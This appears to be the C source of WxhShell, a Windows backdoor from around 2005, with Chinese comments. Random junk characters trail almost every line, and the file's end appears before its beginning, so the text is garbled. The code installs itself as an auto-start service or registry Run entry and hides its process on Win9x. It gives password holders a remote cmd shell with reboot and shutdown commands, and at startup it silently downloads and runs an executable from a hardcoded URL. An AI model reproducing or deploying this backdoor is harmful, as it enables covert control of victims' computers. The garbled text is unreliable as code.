    if(Boot(SHUTDOWN)) irSdqa/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7@R;lOzL3  
    else { !BD+H/A.{  
    closesocket(wsh); sfSM7f  
    ExitThread(0); tSK{Abw1B  
    } .!T]sX_P  
    break; $+eDoI'f  
    } ^&iUC&8W  
  // 获取shell +Z0@z^6\  
  case 's': { )jbYWR *&  
    CmdShell(wsh); N5u.V\F!z\  
    closesocket(wsh); l?:!G7ie  
    ExitThread(0); #wH<W5gSZ  
    break; KlbL<9P >  
  } \; Io  
  // 退出 deR2l(0%yr  
  case 'x': { 7(<6+q2~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V_JM@VN}Kk  
    CloseIt(wsh); 6 <JiHVP7  
    break; *i#m5f}  
    } 1<RB}M  
  // 离开 n5i#GvO^  
  case 'q': { MsMNP[-l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^v. ~FFK  
    closesocket(wsh); X(F 2 5  
    WSACleanup(); H~1&hF"d  
    exit(1); -g'[1  
    break; pj.}VF!d  
        } B d$i%.r  
  } @RW=(&<1  
  } E"7 iU  
5tMp@$F\{[  
  // 提示信息 z_vFf0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %jKbRiz1u  
} $qk2!  
  } 2 F3U,}  
T0xU}  
  return; *C*n( the  
} sqw^Hwy=!2  
5\Sm^t|Tx  
// shell模块句柄 yrO \\No#H  
int CmdShell(SOCKET sock) %k(V 2]WF  
{ AL%H$I  
STARTUPINFO si; :K{!@=o  
ZeroMemory(&si,sizeof(si)); =ja(;uC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tPh``o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i;!#:JX  
PROCESS_INFORMATION ProcessInfo; 7Pu.<b}  
char cmdline[]="cmd"; r=YprVX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0U'g2F>{  
  return 0; y'ULhDgq^B  
} O(BAw  
 u!TVvc  
// 自身启动模式 L=W8Q8hf  
int StartFromService(void) {Muw4DV  
{ ng $`<~=)\  
typedef struct SB R=  
{ {U?UM  
  DWORD ExitStatus; ^Wk.D-  
  DWORD PebBaseAddress; NLZTIZCK  
  DWORD AffinityMask; uXPvl5(Y?  
  DWORD BasePriority; kWs"v6B  
  ULONG UniqueProcessId; ;2X/)sxWz  
  ULONG InheritedFromUniqueProcessId; h^#K4/  
}   PROCESS_BASIC_INFORMATION; 5(kRFb'31F  
wmh[yYWc  
PROCNTQSIP NtQueryInformationProcess; :|i jCg+  
X!r9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |Rk$u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~Y^ UP  
l!z0lh- J  
  HANDLE             hProcess; X2PQL"`  
  PROCESS_BASIC_INFORMATION pbi; zRDBl02v$T  
o)<c1\q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #?h#R5:0  
  if(NULL == hInst ) return 0; =bm<>h7.)  
{bB;TO<b`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lTOO`g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S7SD$+fX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m:@-]U@ 6  
T^9k,J(rM  
  if (!NtQueryInformationProcess) return 0; @ m14x}H  
SenDJv00  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8':^tMd  
  if(!hProcess) return 0; =sVB.P  
F6 ?4E"d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,#Y>nP0  
5N=QS1<$5  
  CloseHandle(hProcess);  A i`  
PfKIaW<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xf/ SUO F  
if(hProcess==NULL) return 0; f{=0-%dA  
Z6G>j  
HMODULE hMod; nY7 ZK  
char procName[255]; !o A,^4(  
unsigned long cbNeeded; 7I>@PV N  
{MK.jw9/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4f+R}Ee7  
c=]z%+,b]  
  CloseHandle(hProcess); ]AjDe]  
Ys|n9pW  
if(strstr(procName,"services")) return 1; // 以服务启动 6{/HNEI*1  
a!ao{8#  
  return 0; // 注册表启动 "?E>rWz  
} -A}U^-'a}  
5AV5`<r.  
// 主模块 Z>GqLq\`ed  
int StartWxhshell(LPSTR lpCmdLine) <C0~7]XO  
{ +[$d9  
  SOCKET wsl; 5e^t;  
BOOL val=TRUE; 0zR4Kj7EE  
  int port=0; EN^C'n  
  struct sockaddr_in door; uH'n.d"WG  
6J3:[7k=&  
  if(wscfg.ws_autoins) Install(); U#3Y3EdF<  
gp Aqz Y  
port=atoi(lpCmdLine); O=c^Ak   
8P8@i+[]W  
if(port<=0) port=wscfg.ws_port; FOz7W  
wGfU@!m  
  WSADATA data; Q9v OY8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "p<B|  
u*#j;Xc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s>8;At-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |7G +O+j  
  door.sin_family = AF_INET; +AVYypql8K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A1{ 7g<k6  
  door.sin_port = htons(port); \bJ,8J1C  
4,D$% .  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZuV/!9qU  
closesocket(wsl); e RiPC  
return 1; ,A`.u\f(:  
} qF9z@a  
04eE\%?  
  if(listen(wsl,2) == INVALID_SOCKET) {  "5\<.  
closesocket(wsl); G 2L?j   
return 1; L8"0o 0-  
} ]F:5-[V#  
  Wxhshell(wsl); +r0ItqkM  
  WSACleanup(); IBYRuaEB  
(7 i@ @  
return 0; ,'~8{,h5  
}%z {tn  
} px!lJtvgo  
h*J=F0KM  
// 以NT服务方式启动 hq}kAv4B=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >0yx!Iao  
{ YcJZG|[  
DWORD   status = 0; |TCHPKN  
  DWORD   specificError = 0xfffffff; 7]}n 0*fe  
L`v7|!X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Oy>u/g~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DQ'yFPE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &p>VTD  
  serviceStatus.dwWin32ExitCode     = 0; |)4Fe/!cJ  
  serviceStatus.dwServiceSpecificExitCode = 0; R2uekpP  
  serviceStatus.dwCheckPoint       = 0; R0>GM`{  
  serviceStatus.dwWaitHint       = 0; 1\G S"4~P  
e C\;n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); di^E8egR$  
  if (hServiceStatusHandle==0) return; j. 1@{H  
` drds  
status = GetLastError(); KjK.Sv{N  
  if (status!=NO_ERROR) ~";GH20  
{ m0XdIC]s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cuenDw=eC  
    serviceStatus.dwCheckPoint       = 0; k+8K[ ?K-  
    serviceStatus.dwWaitHint       = 0; 6.X| . N  
    serviceStatus.dwWin32ExitCode     = status; xO2e>[W  
    serviceStatus.dwServiceSpecificExitCode = specificError; :by EXe;3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #=~n>qn]  
    return; gmG M[c\  
  } =pQ'wx|>|  
BEn,py7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q a(>$.h  
  serviceStatus.dwCheckPoint       = 0; N%8O9Dp8;  
  serviceStatus.dwWaitHint       = 0; &j4 1<A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); crx8+  
} 5X2&hG*  
5[^pU$Y  
// 处理NT服务事件,比如:启动、停止  \*5`@>_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v[S>   
{ Tk(ciwB  
switch(fdwControl) ,{{e'S9cy  
{ :u}FF"j  
case SERVICE_CONTROL_STOP: qo2/?]  
  serviceStatus.dwWin32ExitCode = 0; -oSfp23u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mJjd2a"vi  
  serviceStatus.dwCheckPoint   = 0; !U}dYB:O  
  serviceStatus.dwWaitHint     = 0; .c#G0t<i[  
  { }bwH(OOS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bismd21F6=  
  } h_O6Z2J1  
  return; LEnm6  
case SERVICE_CONTROL_PAUSE: 5v&mK 5zZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lPA:aHcj  
  break; >]DnEF&  
case SERVICE_CONTROL_CONTINUE: @.JhL[f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @EPO\\C"f  
  break; u;{,,ct  
case SERVICE_CONTROL_INTERROGATE: .<GU2&;!  
  break; sn.Xvk%75  
}; mGf@J6wGz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZM:!LkK  
} 37:\X5)z/  
"?_r?~sJx  
// 标准应用程序主函数 !'E{D`A9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0taopDi ;d  
{ PjL"7^Q&  
@qC](5|TQ  
// 获取操作系统版本 ;xp^F KP  
OsIsNt=GetOsVer(); AOvn<Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f@:.bp8VB8  
-Xm/sq(i)%  
  // 从命令行安装 Iu<RwB[#Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); 58T<~u7  
(<|NerwD  
  // 下载执行文件 |$Y0VC4a  
if(wscfg.ws_downexe) { _*(n2'2B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =&kd|o/i  
  WinExec(wscfg.ws_filenam,SW_HIDE); *|Cmm>z"7  
} x  RV@ _  
}Xn5M&>?  
if(!OsIsNt) { @@&([f  
// 如果时win9x,隐藏进程并且设置为注册表启动 n\ l$R!zr  
HideProc(); C7|z DJ_  
StartWxhshell(lpCmdLine); zkFx2(Hq-f  
} 2m$\]\kCUv  
else RgF5w<Vd.  
  if(StartFromService()) Rh%c<</`0s  
  // 以服务方式启动 F=/@D)hND  
  StartServiceCtrlDispatcher(DispatchTable); ;>#YOxPl  
else s>i`=[qFc  
  // 普通方式启动 3bMQ[G  
  StartWxhshell(lpCmdLine); mW_B|dM"  
.?C-J  
return 0; ,U-aZ  
} ;cye 'E  
`%PU_;Y5Q  
VR/*h%  
 >^<%9{  
=========================================== &W'X3!Te  
7hg)R @OC  
;@I4[4ph}  
I2U/ \  
9DAk|K  
F;I %9-R  
" ynWF Y<VX  
ukZ>_ke`+  
#include <stdio.h> G-vBJlt=t  
#include <string.h> vMDX  
#include <windows.h> T B!z:n  
#include <winsock2.h> bZf18lvij:  
#include <winsvc.h> rKK{*%n  
#include <urlmon.h> UK{6Rh ;  
.Xq4QR .  
#pragma comment (lib, "Ws2_32.lib") 7'pmW,;  
#pragma comment (lib, "urlmon.lib") Rds_Cd C  
8IX:XDEQ  
#define MAX_USER   100 // 最大客户端连接数 ncF|wz  
#define BUF_SOCK   200 // sock buffer ^e<"`e  
#define KEY_BUFF   255 // 输入 buffer Pz=x$aY  
U$-;^=;  
#define REBOOT     0   // 重启 yA74Rxl*6  
#define SHUTDOWN   1   // 关机 9GH11B_A  
G-5 4D_ 4  
#define DEF_PORT   5000 // 监听端口 f{m,?[1C,  
Kbdjd p  
#define REG_LEN     16   // 注册表键长度 ?9F_E+!  
#define SVC_LEN     80   // NT服务名长度 \( S69@f  
g$z9 (i+  
// 从dll定义API V l,V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i4',d#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {C% #r@6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >EMsBX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .V4w+:i  
XN*?<s3  
// wxhshell配置信息 9:JFG{M  
struct WSCFG { R:Pw@  
  int ws_port;         // 监听端口 #Tr>[ZC  
  char ws_passstr[REG_LEN]; // 口令 M/O4JZEqh  
  int ws_autoins;       // 安装标记, 1=yes 0=no &p."` C  
  char ws_regname[REG_LEN]; // 注册表键名 r)9&'m.:  
  char ws_svcname[REG_LEN]; // 服务名 "kYzgi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UJ}Xa&*H\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  .<0s?Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @xO?SjH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G`a,(<kT;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9;fyC =  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7W{xK'|]  
3 &aBU [  
}; /b$0).fj@,  
V*$(Tt(  
// default Wxhshell configuration 2l7Sbs7  
struct WSCFG wscfg={DEF_PORT, /b44;U`v5-  
    "xuhuanlingzhe", hI&ugdf  
    1, 2+Y 8b::  
    "Wxhshell", 3)? v  
    "Wxhshell", *{ =5AW}o  
            "WxhShell Service", 2jMV6S9  
    "Wrsky Windows CmdShell Service", 72YL   
    "Please Input Your Password: ", "*ot:;I  
  1, yB>5p]$P  
  "http://www.wrsky.com/wxhshell.exe", H 3e(-  
  "Wxhshell.exe" \`nRgY SE  
    }; Qh 3V[br  
QG|KZ8uO  
// 消息定义模块 vf |lF9@U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; } Fw/WD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +IRr&J*P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pPC_ub  
char *msg_ws_ext="\n\rExit."; ,>:   
char *msg_ws_end="\n\rQuit."; BW`)q/  
char *msg_ws_boot="\n\rReboot..."; (|{bZW}  
char *msg_ws_poff="\n\rShutdown..."; '1$#onx  
char *msg_ws_down="\n\rSave to "; C4#EN}  
JTK0#+?  
char *msg_ws_err="\n\rErr!"; rO_|_nV[  
char *msg_ws_ok="\n\rOK!"; r`; "  
01/?  
char ExeFile[MAX_PATH]; 4yk!T  
int nUser = 0; x/7d!>#;  
HANDLE handles[MAX_USER]; P ~pC /z  
int OsIsNt; i8]2y  
v(ATbY75  
SERVICE_STATUS       serviceStatus; GN7\p)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .U66Uet>RX  
`I\)Kk@*b9  
// 函数声明 ZL0':7  
int Install(void); IT.'`!T  
int Uninstall(void); isdEs k#A.  
int DownloadFile(char *sURL, SOCKET wsh); Z[(V0/[]  
int Boot(int flag); kpe7\nd=>  
void HideProc(void); m((A  
int GetOsVer(void); D<.zdTo  
int Wxhshell(SOCKET wsl); ! uC`7a  
void TalkWithClient(void *cs); }G:5P3f  
int CmdShell(SOCKET sock); rvdhfM!-A  
int StartFromService(void); RWN2 P6  
int StartWxhshell(LPSTR lpCmdLine); .^?^QH3  
#rE#lHo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DeMF<)#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <])w@QOA#  
,%|$# g 0  
// 数据结构和表定义 r N"P IH  
SERVICE_TABLE_ENTRY DispatchTable[] = L$ nFRl&  
{ "8bxb  
{wscfg.ws_svcname, NTServiceMain}, l&]Wyaz@n  
{NULL, NULL} WFOO6 kMz  
}; Kn#3^>D  
Esc*+}ck  
// 自我安装 1pUIZ$@?`  
int Install(void) Oy @vh>RY  
{ =<_ei|ME  
  char svExeFile[MAX_PATH]; ";)SA,Z  
  HKEY key; D^ E+#a 1  
  strcpy(svExeFile,ExeFile); ""j(wUp-W  
>=|;2*9v  
// 如果是win9x系统,修改注册表设为自启动 ?z:Xdx\l  
if(!OsIsNt) { ,| \62B`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -nC 5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OT & mNE4  
  RegCloseKey(key); X(b"b:j'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E !a5-SrR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "S">#.L  
  RegCloseKey(key); J!%cHqR  
  return 0; HuX{8nl a  
    } jh3LD6|s}  
  } `7;I*|  
} D]I]I!2c  
else {  IX|2yu4  
?\HXYCi0r  
// 如果是NT以上系统,安装为系统服务 :&]THUw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); . PzlhTL7  
if (schSCManager!=0)  2Z ? N  
{ dM A"% R  
  SC_HANDLE schService = CreateService ~}SOd<n)|  
  ( UUxDW3K  
  schSCManager, $ }u,uI  
  wscfg.ws_svcname, /r4QDwu  
  wscfg.ws_svcdisp, aZe[Nos  
  SERVICE_ALL_ACCESS, iNTw;ov  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %-Z0OzWe  
  SERVICE_AUTO_START, 2 |fN*Wm  
  SERVICE_ERROR_NORMAL, (HHVup1f  
  svExeFile, -?8;-h, h  
  NULL, (IbT5  
  NULL, W^c> (d</  
  NULL, )8H5ovj.  
  NULL, zUw9  
  NULL =xs{Ov=  
  ); +OUYQMmM  
  if (schService!=0) [WOLUb  
  { 0FDfB;  
  CloseServiceHandle(schService); a\wpJ|3{=T  
  CloseServiceHandle(schSCManager); u 1?1x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I b)>M`J  
  strcat(svExeFile,wscfg.ws_svcname); k5>K/;*9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oSb,)k@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ax#$z  
  RegCloseKey(key); Wr\rruH6  
  return 0; DqLZc01>  
    } Min^EAG@  
  } %8?s3^ o  
  CloseServiceHandle(schSCManager); e3+'m  
} 1 :xN)M,s  
} *):xK;o  
cuJ%;q=;  
return 1; 2?]NQE9lA  
} s W#}QYd  
Ksp!xFk  
// 自我卸载 _084GK9{W  
int Uninstall(void) [Z3B~c  
{ ZMSP8(V  
  HKEY key; 0]dL;~0y.  
Kvu0Av-7  
if(!OsIsNt) { kf3yJP/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W$x'+t5H  
  RegDeleteValue(key,wscfg.ws_regname); H3=U|wr|  
  RegCloseKey(key); QR!8n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bDLPA27  
  RegDeleteValue(key,wscfg.ws_regname); }gE?ms4$  
  RegCloseKey(key); O k-*xd  
  return 0; Az_s"}G  
  } 3pSkk  
} Q\H_lB  
} J%?'Q{  
else { M <3P  
XYbc1+C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f IUz%YFn  
if (schSCManager!=0) #,dE)  
{ yNk9KK)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .Dw^'p>  
  if (schService!=0) :*wnO;eN  
  { *o8DfZ  
  if(DeleteService(schService)!=0) { q? x.P2  
  CloseServiceHandle(schService); *QzoBpO<  
  CloseServiceHandle(schSCManager); i,=CnZCh  
  return 0; b|i94y(  
  } zOR  
  CloseServiceHandle(schService); <r*A(}Y  
  } pN+lC[C  
  CloseServiceHandle(schSCManager); /aepE~T  
} 90%alG 1>y  
} )v!>U<eprD  
+jcg[|-' /  
return 1; ,+0>p  
} 8$fiq}a  
qMAH~P0u  
// 从指定url下载文件 $ ]/a/!d  
int DownloadFile(char *sURL, SOCKET wsh) . bh>_ W_h  
{ :tu_@3bg-  
  HRESULT hr; DkP%1Crdr  
char seps[]= "/"; tlU&p'  
char *token; ER:)Fk>_  
char *file; 4Fr0/="H  
char myURL[MAX_PATH]; &e\A v.n@-  
char myFILE[MAX_PATH]; 66"-Xf~u  
|V2+4b,  
strcpy(myURL,sURL); &lYZ=|6  
  token=strtok(myURL,seps); ~Co7%e V  
  while(token!=NULL) g;U f?  
  { L0{ehpvM  
    file=token; B]K@'#  
  token=strtok(NULL,seps); }e/P|7&  
  } e2~i@vq  
*)c,~R^  
GetCurrentDirectory(MAX_PATH,myFILE); g->cgExj  
strcat(myFILE, "\\"); P=K+!3ZXo  
strcat(myFILE, file); A*I mruV  
  send(wsh,myFILE,strlen(myFILE),0); .!kqIx*3  
send(wsh,"...",3,0); oWVlHAPj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fu/v1Nhm  
  if(hr==S_OK) ~Tv %6iaeE  
return 0; Aj06"ep  
else v4}kmH1  
return 1; 4  |$|]E  
gIR{!'  
} Yt"&8N]  
L3 M]06y  
// 系统电源模块 #NM .g  
int Boot(int flag) #`6A}/@.+  
{ h<oQ9zW)  
  HANDLE hToken; EQ&E C  
  TOKEN_PRIVILEGES tkp; Y?Yix   
+>N/q(l  
  if(OsIsNt) { \*#9Ry^f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UOrf wK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jP6;~[rl  
    tkp.PrivilegeCount = 1; .^^YS$%%7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F{ cKCqI?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]*+ozAG4  
if(flag==REBOOT) { rIz"_r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zmI?p4,  
  return 0; XfF Z;ul  
} `, ?T;JRc  
else { 2U6j?MyH2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b'Gn)1NE  
  return 0; 6KmF 9  
} kW&{0xkGR  
  } 4*9y4"  
  else { rm*Jo|eH`  
if(flag==REBOOT) { 6=]%Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x\j6=|  
  return 0; {9KG06%+  
} /U[Y w)  
else { .}.5|z} A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yKEE @@}\  
  return 0; KYY~ YP  
} v2 [ l$  
} #;'1aT  
_N~h#(  
return 1; UO}Kk*  
} *ms?UFV[r  
B[F,D  
// win9x进程隐藏模块 x,"'\=|s*  
void HideProc(void) vB, X)  
{  hM2^[8  
'j];tO6GfC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uQ#3;sFO  
  if ( hKernel != NULL ) |MvCEp  
  { xz YvD{>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JpDc3^B*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6vz9r)L  
    FreeLibrary(hKernel); @*W,Jm3Y  
  } V ^=o@I  
+<Ot@luE  
return; mP GF Y  
} s%`o  
5:SfPAx  
// 获取操作系统版本 w}pFa76rm  
int GetOsVer(void) @)iv'   
{ 0Ha1pqR  
  OSVERSIONINFO winfo; :NHh`@0F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '3eP<earRP  
  GetVersionEx(&winfo); MId\ dFu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u2'xM0nQ  
  return 1; >4=sEj  
  else zEJ|;oL  
  return 0; r'fNQJ >  
} N4"%!.Y  
!8ub3oj)  
// 客户端句柄模块 ,WbO8#z+  
int Wxhshell(SOCKET wsl) elXY*nt8h  
{ tsq]QTA*  
  SOCKET wsh; ^<xpp.eY  
  struct sockaddr_in client; )` S,vF~  
  DWORD myID; GOHRBV  
68R[Lc9q5  
  while(nUser<MAX_USER) .Vq-<c%  
{ waXA%u50  
  int nSize=sizeof(client); _ I+#K M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $Y][-8{t  
  if(wsh==INVALID_SOCKET) return 1; p_ =^E*J]  
YD$fN"}-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;7&RmIXKh'  
if(handles[nUser]==0) ~^=QBwDW8N  
  closesocket(wsh); lKEdpF<  
else 9 8bmia&H  
  nUser++; v#:#w.]-Y  
  } 5SFeJBS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zzy%dc  
H-?SlVsf  
  return 0; MTBN&4[  
} ?G+v#?A  
9>d$a2 nc  
// 关闭 socket $I!vQbi  
void CloseIt(SOCKET wsh) dkJ+*L5  
{ )El#Ks5u  
closesocket(wsh); axnkuP(  
nUser--; 71nXROB  
ExitThread(0); XX~~SvSM  
} Lm"l*j4  
%1a\"F![  
// 客户端请求句柄 hf>JW[>Xo  
void TalkWithClient(void *cs) U$6N-q  
{ r8+{HknB;  
~j",ePl  
  SOCKET wsh=(SOCKET)cs; v"6q!  
  char pwd[SVC_LEN]; ^,'!j/w5  
  char cmd[KEY_BUFF]; L~SM#?z:ue  
char chr[1]; 2J9_(w  
int i,j; z+&mMP`-  
?n>h/[/  
  while (nUser < MAX_USER) { !HM{imT  
i3s-l8\\z  
if(wscfg.ws_passstr) { FSd842O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8.Wf^j$+{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YmFJlMK  
  //ZeroMemory(pwd,KEY_BUFF); >Rs:Fw|jro  
      i=0; #0"Fw$Pc  
  while(i<SVC_LEN) { _kl.zw%  
=9FY;9  
  // 设置超时 0Z8K+,'!  
  fd_set FdRead; wgpu]ooUF&  
  struct timeval TimeOut; QM`A74j0]\  
  FD_ZERO(&FdRead); )nJs9}( 0  
  FD_SET(wsh,&FdRead); ~\<Fq\.x  
  TimeOut.tv_sec=8; {e0cc1Up}  
  TimeOut.tv_usec=0; v/\l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :CNWHF4$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HlgF%\@a+U  
4StiYfae  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0RN]_z$;H  
  pwd=chr[0]; z%(m:/N70  
  if(chr[0]==0xd || chr[0]==0xa) { 9a"[-B:  
  pwd=0; `] ;*k2  
  break; ^aN;M\  
  } ?SRG;G1  
  i++; K/KZ}PI-O  
    } U-#wFc2N  
I0.{OJ-  
  // 如果是非法用户,关闭 socket 7NV1w*> /  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L|EvI.f  
} [>Z~& cm  
,*%%BTnR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'J#u ;KJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IM|VGT0  
i-~HT4iw  
while(1) { l4u_Z:<w  
rePJ4i [y  
  ZeroMemory(cmd,KEY_BUFF); IQf:aX  
Z{xm(^'i  
      // 自动支持客户端 telnet标准   .&=nP?ZPC6  
  j=0; nAG2!2_8  
  while(j<KEY_BUFF) { Zsc710_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ( e6JI]tz{  
  cmd[j]=chr[0]; TZTi:\nS  
  if(chr[0]==0xa || chr[0]==0xd) { Tn< <i  
  cmd[j]=0; uV`r_P  
  break; m!SxX&m"G  
  } ='a[(C&Y  
  j++; `WGT`A"  
    } x hBlv  
,<0R'R  
  // 下载文件 XT> u/Z)  
  if(strstr(cmd,"http://")) { !E8y!|7$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3#`_t :"A  
  if(DownloadFile(cmd,wsh)) C|bnUN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x>d,\{U  
  else zBtlkBPu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q^>"AhOiU  
  } 109dB$+$  
  else { -b"mx"'?  
5RXZ$/  
    switch(cmd[0]) { Fy37I/#)r&  
  c1B <9_  
  // 帮助 E58fY|9  
  case '?': { dc.9:u*w  
